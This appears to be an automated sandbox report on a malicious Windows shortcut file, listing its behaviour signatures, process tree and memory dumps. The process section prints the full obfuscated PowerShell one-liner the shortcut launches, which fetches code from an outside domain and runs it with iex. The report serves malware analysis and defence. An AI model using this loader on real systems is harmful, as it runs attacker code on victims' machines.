Analysis
- max time kernel
150s - max time network
136s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
19/08/2026, 06:13
General
- Target album_656489334681.lnk
- Size 1KB
- Sample260819-gyq19seq2t
- SHA256 183f6dd0ff948702e70369ec591e51a8819c6c0b53b1a6c2f4563d5079cc000a
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\album_656489334681.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -nop -Command "$v_x0qva=[string]::Concat('https://','shlianban','.com/?e=q');$agmio=(&([string]::Concat('Invoke-','RestMethod')) $v_x0qva);iex($agmio)"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4484-2-0x00007FFE66FBF000-0x00007FFE66FC0000-memory.dmp
memory/4484-3-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-4-0x000002486DF90000-0x000002486DFB2000-memory.dmp
memory/4484-7-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-8-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-9-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-10-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-11-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-12-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-13-0x000002486E530000-0x000002486E6F2000-memory.dmp
memory/4484-17-0x000002486E700000-0x000002486E7B2000-memory.dmp
memory/4484-16-0x000002486E490000-0x000002486E4AE000-memory.dmp
memory/4484-19-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-20-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-22-0x000002486E4F0000-0x000002486E514000-memory.dmp
memory/4484-21-0x000002486E4F0000-0x000002486E51A000-memory.dmp
memory/4484-18-0x000002486E4B0000-0x000002486E4BA000-memory.dmp
memory/4484-23-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-24-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-25-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/4484-26-0x000002486ECF0000-0x000002486F218000-memory.dmp
memory/4484-28-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp